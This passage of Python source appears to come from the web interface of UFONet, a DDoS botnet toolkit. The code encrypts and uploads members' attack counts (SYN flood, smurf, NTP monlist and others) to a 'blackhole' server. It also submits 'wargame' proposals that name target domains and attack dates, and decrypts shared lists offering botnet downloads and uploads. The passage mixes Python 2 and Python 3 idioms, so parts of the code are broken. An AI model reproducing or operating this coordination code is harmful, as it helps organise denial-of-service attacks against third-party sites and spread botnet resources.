  3727. elif grid_filter == "ufosyn":
  3728. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3729. elif grid_filter == "spray":
  3730. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3731. elif grid_filter == "smurf":
  3732. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3733. elif grid_filter == "xmas":
  3734. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  3735. elif grid_filter == "nuke":
  3736. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  3737. elif grid_filter == "tachyon":
  3738. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  3739. elif grid_filter == "monlist":
  3740. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  3741. elif grid_filter == "contact":
  3742. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact
  3743. else:
  3744. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3745. for i in grid_items:
  3746. grid_nickname = str(i[0])
  3747. self.encrypt(grid_key, grid_nickname)
  3748. if self.encryptedtext:
  3749. grid_nickname = self.encryptedtext
  3750. self.encryptedtext = "" # clean encryptedtext buffer
  3751. grid_ranking = str(i[1])
  3752. self.encrypt(grid_key, grid_ranking)
  3753. if self.encryptedtext:
  3754. grid_ranking = self.encryptedtext
  3755. self.encryptedtext = "" # clean encryptedtext buffer
  3756. grid_totalchargo = str(i[2])
  3757. self.encrypt(grid_key, grid_totalchargo)
  3758. if self.encryptedtext:
  3759. grid_totalchargo = self.encryptedtext
  3760. self.encryptedtext = "" # clean encryptedtext buffer
  3761. grid_dorking = str(i[3])
  3762. self.encrypt(grid_key, grid_dorking)
  3763. if self.encryptedtext:
  3764. grid_dorking = self.encryptedtext
  3765. self.encryptedtext = "" # clean encryptedtext buffer
  3766. grid_transferred = str(i[4])
  3767. self.encrypt(grid_key, grid_transferred)
  3768. if self.encryptedtext:
  3769. grid_transferred = self.encryptedtext
  3770. self.encryptedtext = "" # clean encryptedtext buffer
  3771. grid_maxchargo = str(i[5])
  3772. self.encrypt(grid_key, grid_maxchargo)
  3773. if self.encryptedtext:
  3774. grid_maxchargo = self.encryptedtext
  3775. self.encryptedtext = "" # clean encryptedtext buffer
  3776. grid_missions = str(i[6])
  3777. self.encrypt(grid_key, grid_missions)
  3778. if self.encryptedtext:
  3779. grid_missions = self.encryptedtext
  3780. self.encryptedtext = "" # clean encryptedtext buffer
  3781. grid_attacks = str(i[7])
  3782. self.encrypt(grid_key, grid_attacks)
  3783. if self.encryptedtext:
  3784. grid_attacks = self.encryptedtext
  3785. self.encryptedtext = "" # clean encryptedtext buffer
  3786. grid_loic = str(i[8])
  3787. self.encrypt(grid_key, grid_loic)
  3788. if self.encryptedtext:
  3789. grid_loic = self.encryptedtext
  3790. self.encryptedtext = "" # clean encryptedtext buffer
  3791. grid_loris = str(i[9])
  3792. self.encrypt(grid_key, grid_loris)
  3793. if self.encryptedtext:
  3794. grid_loris = self.encryptedtext
  3795. self.encryptedtext = "" # clean encryptedtext buffer
  3796. grid_ufosyn = str(i[10])
  3797. self.encrypt(grid_key, grid_ufosyn)
  3798. if self.encryptedtext:
  3799. grid_ufosyn = self.encryptedtext
  3800. self.encryptedtext = "" # clean encryptedtext buffer
  3801. grid_spray = str(i[11])
  3802. self.encrypt(grid_key, grid_spray)
  3803. if self.encryptedtext:
  3804. grid_spray = self.encryptedtext
  3805. self.encryptedtext = "" # clean encryptedtext buffer
  3806. grid_smurf = str(i[12])
  3807. self.encrypt(grid_key, grid_smurf)
  3808. if self.encryptedtext:
  3809. grid_smurf = self.encryptedtext
  3810. self.encryptedtext = "" # clean encryptedtext buffer
  3811. grid_xmas = str(i[13])
  3812. self.encrypt(grid_key, grid_xmas)
  3813. if self.encryptedtext:
  3814. grid_xmas = self.encryptedtext
  3815. self.encryptedtext = "" # clean encryptedtext buffer
  3816. grid_nuke = str(i[14])
  3817. self.encrypt(grid_key, grid_nuke)
  3818. if self.encryptedtext:
  3819. grid_nuke = self.encryptedtext
  3820. self.encryptedtext = "" # clean encryptedtext buffer
  3821. grid_tachyon = str(i[15])
  3822. self.encrypt(grid_key, grid_tachyon)
  3823. if self.encryptedtext:
  3824. grid_tachyon = self.encryptedtext
  3825. self.encryptedtext = "" # clean encryptedtext buffer
  3826. grid_monlist = str(i[16])
  3827. self.encrypt(grid_key, grid_monlist)
  3828. if self.encryptedtext:
  3829. grid_monlist = self.encryptedtext
  3830. self.encryptedtext = "" # clean encryptedtext buffer
  3831. grid_contact = str(i[17])
  3832. self.encrypt(grid_key, grid_contact)
  3833. if self.encryptedtext:
  3834. grid_contact = self.encryptedtext
  3835. self.encryptedtext = "" # clean encryptedtext buffer
  3836. grid_id = str(i[18]) # id (plain id)
  3837. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3838. f.write(l + os.linesep)
  3839. f.close()
  3840. except:
  3841. pass
  3842. if page == "/cmd_grid_filter_update":
  3843. if not os.path.exists('/tmp/out'):
  3844. open('/tmp/out', 'w').close()
  3845. with open('/tmp/out', 'r') as f:
  3846. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3847. if page == "/cmd_transfer_grid":
  3848. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3849. blackhole_ip = pGet["grid_source"]
  3850. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3851. try:
  3852. grid_key = pGet["grid_key"]
  3853. except:
  3854. grid_key = ""
  3855. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3856. if grid_key is not "": # stream creation + encryption + package send
  3857. try:
  3858. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3859. grid_data = json.load(grid_json_file)
  3860. grid_json_file.close()
  3861. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3862. stats_data = json.load(stats_json_file)
  3863. stats_json_file.close()
  3864. nickname = grid_data["grid_nick"].encode('utf-8')
  3865. self.encrypt(grid_key, nickname)
  3866. if self.encryptedtext:
  3867. nickname = self.encryptedtext
  3868. self.encryptedtext = "" # clean encryptedtext buffer
  3869. ranking = self.ranking
  3870. if ranking == "Rookie":
  3871. ranking = 1
  3872. elif ranking == "Mercenary":
  3873. ranking = 2
  3874. elif ranking == "Bandit":
  3875. ranking = 3
  3876. elif ranking == "UFOmmander!":
  3877. ranking = 4
  3878. elif ranking == "UFOl33t!":
  3879. ranking = 5
  3880. else:
  3881. ranking = 1
  3882. self.encrypt(grid_key, str(ranking))
  3883. if self.encryptedtext:
  3884. ranking = self.encryptedtext
  3885. self.encryptedtext = "" # clean encryptedtext buffer
  3886. chargo = self.total_botnet
  3887. self.encrypt(grid_key, str(chargo))
  3888. if self.encryptedtext:
  3889. chargo = self.encryptedtext
  3890. self.encryptedtext = "" # clean encryptedtext buffer
  3891. dorking = stats_data["scanner"]
  3892. self.encrypt(grid_key, str(dorking))
  3893. if self.encryptedtext:
  3894. dorking = self.encryptedtext
  3895. self.encryptedtext = "" # clean encryptedtext buffer
  3896. transferred = stats_data["transferred"]
  3897. self.encrypt(grid_key, str(transferred))
  3898. if self.encryptedtext:
  3899. transferred = self.encryptedtext
  3900. self.encryptedtext = "" # clean encryptedtext buffer
  3901. max_chargo = stats_data["max_chargo"]
  3902. self.encrypt(grid_key, str(max_chargo))
  3903. if self.encryptedtext:
  3904. max_chargo = self.encryptedtext
  3905. self.encryptedtext = "" # clean encryptedtext buffer
  3906. missions = stats_data["missions"]
  3907. self.encrypt(grid_key, str(missions))
  3908. if self.encryptedtext:
  3909. missions = self.encryptedtext
  3910. self.encryptedtext = "" # clean encryptedtext buffer
  3911. attacks = stats_data["completed"]
  3912. self.encrypt(grid_key, str(attacks))
  3913. if self.encryptedtext:
  3914. attacks = self.encryptedtext
  3915. self.encryptedtext = "" # clean encryptedtext buffer
  3916. loic = stats_data["loic"]
  3917. self.encrypt(grid_key, str(loic))
  3918. if self.encryptedtext:
  3919. loic = self.encryptedtext
  3920. self.encryptedtext = "" # clean encryptedtext buffer
  3921. loris = stats_data["loris"]
  3922. self.encrypt(grid_key, str(loris))
  3923. if self.encryptedtext:
  3924. loris = self.encryptedtext
  3925. self.encryptedtext = "" # clean encryptedtext buffer
  3926. ufosyn = stats_data["ufosyn"]
  3927. self.encrypt(grid_key, str(ufosyn))
  3928. if self.encryptedtext:
  3929. ufosyn = self.encryptedtext
  3930. self.encryptedtext = "" # clean encryptedtext buffer
  3931. spray = stats_data["spray"]
  3932. self.encrypt(grid_key, str(spray))
  3933. if self.encryptedtext:
  3934. spray = self.encryptedtext
  3935. self.encryptedtext = "" # clean encryptedtext buffer
  3936. smurf = stats_data["smurf"]
  3937. self.encrypt(grid_key, str(smurf))
  3938. if self.encryptedtext:
  3939. smurf = self.encryptedtext
  3940. self.encryptedtext = "" # clean encryptedtext buffer
  3941. xmas = stats_data["xmas"]
  3942. self.encrypt(grid_key, str(xmas))
  3943. if self.encryptedtext:
  3944. xmas = self.encryptedtext
  3945. self.encryptedtext = "" # clean encryptedtext buffer
  3946. nuke = stats_data["nuke"]
  3947. self.encrypt(grid_key, str(nuke))
  3948. if self.encryptedtext:
  3949. nuke = self.encryptedtext
  3950. self.encryptedtext = "" # clean encryptedtext buffer
  3951. tachyon = stats_data["tachyon"]
  3952. self.encrypt(grid_key, str(tachyon))
  3953. if self.encryptedtext:
  3954. tachyon = self.encryptedtext
  3955. self.encryptedtext = "" # clean encryptedtext buffer
  3956. monlist = stats_data["monlist"]
  3957. self.encrypt(grid_key, str(monlist))
  3958. if self.encryptedtext:
  3959. monlist = self.encryptedtext
  3960. self.encryptedtext = "" # clean encryptedtext buffer
  3961. contact = grid_data["grid_contact"].encode('utf-8')
  3962. self.encrypt(grid_key, str(contact))
  3963. if self.encryptedtext:
  3964. contact = self.encryptedtext
  3965. self.encryptedtext = "" # clean encryptedtext buffer
  3966. id = grid_data["grid_token"] # plain text
  3967. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3968. try:
  3969. host = blackhole_ip
  3970. cport = 9992 # port used by mothership grider (server side script)
  3971. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3972. gs.settimeout(5.0)
  3973. gs.connect((host, cport))
  3974. gs.send(stream)
  3975. gs.close()
  3976. try: # download latest grid after submit
  3977. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3978. f = open(self.grid_file, "w") # write updates to grid.txt
  3979. f.write(grid)
  3980. f.close()
  3981. except:
  3982. pass
  3983. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  3984. except:
  3985. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3986. except:
  3987. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3988. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3989. f = open("/tmp/out", "w")
  3990. f.write(grid_trans)
  3991. f.write(end_mark)
  3992. f.close()
  3993. if page == "/cmd_transfer_grid_update":
  3994. if not os.path.exists('/tmp/out'):
  3995. open('/tmp/out', 'w').close()
  3996. with open('/tmp/out', 'r') as f:
  3997. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3998. if page == "/cmd_transfer_wargame":
  3999. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4000. blackhole_ip = pGet["wargames_source2"]
  4001. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4002. try:
  4003. wargames_enckey = pGet["wargames_enckey"]
  4004. except:
  4005. wargames_enckey = ""
  4006. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4007. wargames_target = pGet["wargames_target"]
  4008. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  4009. t = urlparse(wargames_target)
  4010. wargames_target = t.netloc
  4011. else:
  4012. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  4013. wargames_enckey = ""
  4014. if wargames_target.startswith("www."):
  4015. wargames_target = wargames_target.replace("www.","")
  4016. wargames_estimated = pGet["wargames_estimated"]
  4017. try:
  4018. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4019. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4020. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  4021. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  4022. wargames_enckey = ""
  4023. except:
  4024. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  4025. wargames_enckey = ""
  4026. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4027. if wargames_enckey is not "": # stream creation + encryption + package send
  4028. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4029. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4030. try:
  4031. self.encrypt(wargames_enckey, wargames_creation)
  4032. if self.encryptedtext:
  4033. wargames_creation = self.encryptedtext
  4034. self.encryptedtext = "" # clean encryptedtext buffer
  4035. self.encrypt(wargames_enckey, wargames_target)
  4036. if self.encryptedtext:
  4037. wargames_target = self.encryptedtext
  4038. self.encryptedtext = "" # clean encryptedtext buffer
  4039. self.encrypt(wargames_enckey, wargames_estimated)
  4040. if self.encryptedtext:
  4041. wargames_estimated = self.encryptedtext
  4042. self.encryptedtext = "" # clean encryptedtext buffer
  4043. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  4044. try:
  4045. host = blackhole_ip
  4046. cport = 9992 # port used by mothership grider (server side script)
  4047. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4048. gs.settimeout(5.0)
  4049. gs.connect((host, cport))
  4050. gs.send(stream)
  4051. gs.close()
  4052. try: # download latest wargames after submit
  4053. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4054. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4055. f.write(wargames)
  4056. f.close()
  4057. except:
  4058. pass
  4059. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  4060. except:
  4061. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4062. except:
  4063. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4064. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4065. f = open("/tmp/out", "w")
  4066. f.write(wargames_trans)
  4067. f.write(end_mark)
  4068. f.close()
  4069. if page == "/cmd_transfer_wargame_update":
  4070. if not os.path.exists('/tmp/out'):
  4071. open('/tmp/out', 'w').close()
  4072. with open('/tmp/out', 'r') as f:
  4073. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  4074. if page == "/cmd_sync_board":
  4075. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4076. blackhole_ip = pGet["board_source"]
  4077. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4078. try:
  4079. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4080. f = open(self.board_file, "w") # write updates to board.txt
  4081. f.write(board)
  4082. f.close()
  4083. self.board_text = board
  4084. except:
  4085. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4086. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4087. f = open("/tmp/out", "w")
  4088. f.write(str(board))
  4089. f.write(end_mark)
  4090. f.close()
  4091. if page == "/cmd_sync_board_update":
  4092. if not os.path.exists('/tmp/out'):
  4093. open('/tmp/out', 'w').close()
  4094. with open('/tmp/out', 'r') as f:
  4095. stream = f.read()
  4096. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4097. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  4098. if page == "/cmd_send_message_board":
  4099. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4100. blackhole_ip = pGet["board_source"]
  4101. blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8')
  4102. try:
  4103. board_key = pGet["board_key"]
  4104. except:
  4105. board_key = ""
  4106. try:
  4107. board_topic = pGet["board_topic"]
  4108. except:
  4109. board_topic = ""
  4110. try:
  4111. board_message = pGet["stream_txt"]
  4112. except:
  4113. board_message = ""
  4114. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4115. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  4116. try:
  4117. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  4118. board_data = json.load(board_json_file)
  4119. board_json_file.close()
  4120. board_nickname = board_data["profile_nick"]
  4121. self.encrypt(board_key, board_nickname)
  4122. if self.encryptedtext:
  4123. board_nickname = self.encryptedtext
  4124. self.encryptedtext = "" # clean encryptedtext buffer
  4125. board_icon = board_data["profile_icon"]
  4126. board_icon = board_icon.replace("link", "") # keep just icon number
  4127. board_id = board_data["profile_token"]
  4128. self.encrypt(board_key, board_message)
  4129. if self.encryptedtext:
  4130. board_message = self.encryptedtext
  4131. self.encryptedtext = "" # clean encryptedtext buffer
  4132. if board_topic == "general":
  4133. board_topic = 1
  4134. elif board_topic == "opsec":
  4135. board_topic = 2
  4136. elif board_topic == "faq":
  4137. board_topic = 3
  4138. elif board_topic == "bugs":
  4139. board_topic = 4
  4140. elif board_topic == "media":
  4141. board_topic = 5
  4142. else:
  4143. board_topic = 1
  4144. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  4145. try:
  4146. host = blackhole_ip
  4147. cport = 9992 # port used by mothership grider (server side script)
  4148. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4149. gs.settimeout(5.0)
  4150. gs.connect((host, cport))
  4151. gs.send(stream)
  4152. gs.close()
  4153. try: # download latest board after submit
  4154. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4155. f = open(self.board_file, "w") # write updates to board.txt
  4156. f.write(board)
  4157. f.close()
  4158. except:
  4159. pass
  4160. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  4161. except:
  4162. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4163. except:
  4164. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4165. f = open("/tmp/out", "w")
  4166. f.write(board_trans)
  4167. f.write(end_mark)
  4168. f.close()
  4169. if page == "/cmd_send_message_board_update":
  4170. if not os.path.exists('/tmp/out'):
  4171. open('/tmp/out', 'w').close()
  4172. with open('/tmp/out', 'r') as f:
  4173. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  4174. if page == "/cmd_decrypt":
  4175. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  4176. try:
  4177. news_key = pGet["news_key"]
  4178. except:
  4179. news_key = ""
  4180. try:
  4181. missions_key = pGet["missions_key"]
  4182. except:
  4183. missions_key = ""
  4184. end_mark = "\n[Info] [AI] End of decryption."
  4185. if news_key is not "": # news decryption
  4186. self.decrypted_news = []
  4187. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4188. news_key = pGet["news_key"]
  4189. for news_text in self.list_news:
  4190. self.decrypt(news_key, news_text)
  4191. if self.decryptedtext:
  4192. if len(self.decryptedtext) < 2:
  4193. self.decrypted_news.append(nodec_text)
  4194. else:
  4195. self.decrypted_news.append(self.decryptedtext)
  4196. else:
  4197. self.decrypted_news.append(nodec_text)
  4198. self.decryptedtext = "" # clean decryptedtext buffer
  4199. f = open("/tmp/out", "w")
  4200. num_news = 0 # news counter
  4201. for m in self.decrypted_news:
  4202. num_news = num_news + 1
  4203. f.write("["+str(num_news)+"] " + str(m)+"\n")
  4204. f.write(end_mark)
  4205. f.close()
  4206. else:
  4207. if missions_key is not "": # missions decryption
  4208. self.decrypted_missions = []
  4209. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4210. missions_key = pGet["missions_key"]
  4211. for missions_text in self.list_missions:
  4212. self.decrypt(missions_key, missions_text)
  4213. if self.decryptedtext:
  4214. if len(self.decryptedtext) < 2:
  4215. self.decrypted_missions.append(nodec_text)
  4216. else:
  4217. self.decrypted_missions.append(self.decryptedtext)
  4218. else:
  4219. self.decrypted_missions.append(nodec_text)
  4220. self.decryptedtext = "" # clean decryptedtext buffer
  4221. f = open("/tmp/out", "w")
  4222. num_mission = 0 # missions counter
  4223. for m in self.decrypted_missions:
  4224. num_mission = num_mission + 1
  4225. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  4226. f.write(end_mark)
  4227. f.close()
  4228. else: # blackholes (nodes.dat) decryption + data showing
  4229. self.decrypted_blackholes = []
  4230. nodec_text = "*** [This message cannot be solved with that key...]"
  4231. blackhole_key = pGet["blackhole_key"]
  4232. for blackholes_text in self.list_blackholes:
  4233. self.decrypt(blackhole_key, blackholes_text)
  4234. if self.decryptedtext:
  4235. self.decrypted_blackholes.append(self.decryptedtext)
  4236. else:
  4237. self.decrypted_blackholes.append(nodec_text)
  4238. self.decryptedtext = "" # clean decryptedtext buffer
  4239. f = open("/tmp/out", "w")
  4240. num_blackholes = 0 # blackholes counter
  4241. for b in self.decrypted_blackholes:
  4242. num_blackholes = num_blackholes + 1
  4243. if blackhole_sep in b: # IP | Mode | Comment | Actions
  4244. s = b.rsplit(blackhole_sep, 1)[0]
  4245. ip = str(s.rsplit(blackhole_sep, 1)[0])
  4246. mode = str(s.rsplit(blackhole_sep, 1)[1])
  4247. if mode == "D": # Download only mode
  4248. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  4249. elif mode == "U": # Upload only mode
  4250. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4251. else: # Upload/Download mode
  4252. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4253. comment = str(b.rsplit(blackhole_sep, 1)[1])
  4254. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  4255. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4256. else:
  4257. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4258. f.write(end_mark)
  4259. f.close()
  4260. if page == "/cmd_decrypt_update":
  4261. if not os.path.exists('/tmp/out'):
  4262. open('/tmp/out', 'w').close()
  4263. with open('/tmp/out', 'r') as f:
  4264. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  4265. if page == "/news":
  4266. self.pages["/news"] = self.html_news()
  4267. if page == "/missions":
  4268. self.pages["/missions"] = self.html_missions()
  4269. if page == "/board":
  4270. self.pages["/board"] = self.html_board()
  4271. if page == "/grid":
  4272. self.pages["/grid"] = self.html_grid()
  4273. if page == "/wargames":
  4274. self.pages["/wargames"] = self.html_wargames()
  4275. if page == "/grid_profile":
  4276. if pGet=={}:
  4277. self.pages["/grid_profile"] = self.html_grid_profile()
  4278. else:
  4279. self.save_grid(pGet)
  4280. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  4281. if page == "/board_profile":
  4282. if pGet =={}:
  4283. self.pages["/board_profile"] = self.html_board_profile()
  4284. else:
  4285. self.save_profile(pGet)
  4286. self.pages["/board_profile"] = self.html_board_profile_submit()
  4287. if page == "/board_remove":
  4288. self.pages["/board_remove"] = self.html_board_remove()
  4289. if page == "/grid_remove":
  4290. self.pages["/grid_remove"] = self.html_grid_remove()
  4291. if page == "/cmd_decrypt_moderator_board":
  4292. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  4293. try:
  4294. board_key = pGet["board_key"]
  4295. except:
  4296. board_key = ""
  4297. try:
  4298. filter = pGet["filter"]
  4299. except:
  4300. filter = ""
  4301. end_mark = "\n[Info] [AI] End of decryption."
  4302. if board_key is not "": # board decryption
  4303. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  4304. f = open("/tmp/out", "w")
  4305. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  4306. f.write(str(b)+"\n")
  4307. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  4308. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  4309. if board_msg_sep in m:
  4310. m = m.split(board_msg_sep)
  4311. topic = m[0] # topic
  4312. t = m[1] # icon
  4313. n = m[2] # nick
  4314. g = m[3] # id
  4315. l = m[4] # comment
  4316. if topic == "1":
  4317. topic = "/GENERAL"
  4318. elif topic == "2":
  4319. topic = "/#OPSEC "
  4320. elif topic == "3":
  4321. topic = "/FAQ "
  4322. elif topic == "4":
  4323. topic = "/BUGS "
  4324. elif topic == "5":
  4325. topic = "/MEDIA "
  4326. else:
  4327. topic = "/BUGS[!]"
  4328. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  4329. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  4330. self.decrypt(board_key, n)
  4331. if self.decryptedtext:
  4332. nick = self.decryptedtext
  4333. else:
  4334. nick = 'Anonymous' # We are legion!
  4335. try:
  4336. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  4337. except:
  4338. pass
  4339. if len(nick) < 3:
  4340. nick = 'Anonymous'
  4341. self.decryptedtext = "" # clean decryptedtext buffer
  4342. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  4343. self.decrypt(board_key, l)
  4344. if self.decryptedtext:
  4345. msg = self.decryptedtext
  4346. else:
  4347. msg = nodec_text
  4348. try:
  4349. msg = msg.decode('latin-1')
  4350. except:
  4351. pass
  4352. if len(msg) < 2:
  4353. msg = nodec_text
  4354. self.decryptedtext = "" # clean decryptedtext buffer
  4355. if filter in topic or filter == "ALL": # filter content by user selection
  4356. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  4357. b += "<font size=+2>"+str(topic)+"</font>"
  4358. b += "<br>by "+str(nick)+"<br><br>"
  4359. b += str(msg) + "</td></tr>"
  4360. f.write(str(b)+"\n")
  4361. else:
  4362. pass
  4363. else: # not valid stream data
  4364. pass
  4365. b="</table>"
  4366. f.write(str(b)+"\n")
  4367. f.write(end_mark)
  4368. f.close()
  4369. if page == "/cmd_decrypt_moderator_board_update":
  4370. if not os.path.exists('/tmp/out'):
  4371. open('/tmp/out', 'w').close()
  4372. with open('/tmp/out', 'r') as f:
  4373. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  4374. if page == "/cmd_decrypt_grid":
  4375. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  4376. try:
  4377. grid_key = pGet["grid_key"]
  4378. except:
  4379. grid_key = ""
  4380. end_mark = "[Info] [AI] End of decryption."
  4381. if grid_key is not "": # grid decryption
  4382. # Mothership stats counters
  4383. mothership_members = 0
  4384. unknown_members = 0
  4385. member_1 = 0 # Rookie
  4386. member_2 = 0 # Mercenary
  4387. member_3 = 0 # Bandit
  4388. member_4 = 0 # UFOmmander!
  4389. member_5 = 0 # UFOl33t!
  4390. mothership_missions = 0
  4391. mothership_transferred = 0
  4392. mothership_attacks = 0
  4393. mothership_loic = 0
  4394. mothership_loris = 0
  4395. mothership_ufosyn = 0
  4396. mothership_spray = 0
  4397. mothership_smurf = 0
  4398. mothership_xmas = 0
  4399. mothership_nuke = 0
  4400. mothership_tachyon = 0
  4401. mothership_monlist = 0
  4402. mothership_chargo = 0
  4403. mothership_dorking = 0
  4404. mothership_maxchargo = 0
  4405. nodec_text = "KEY?"
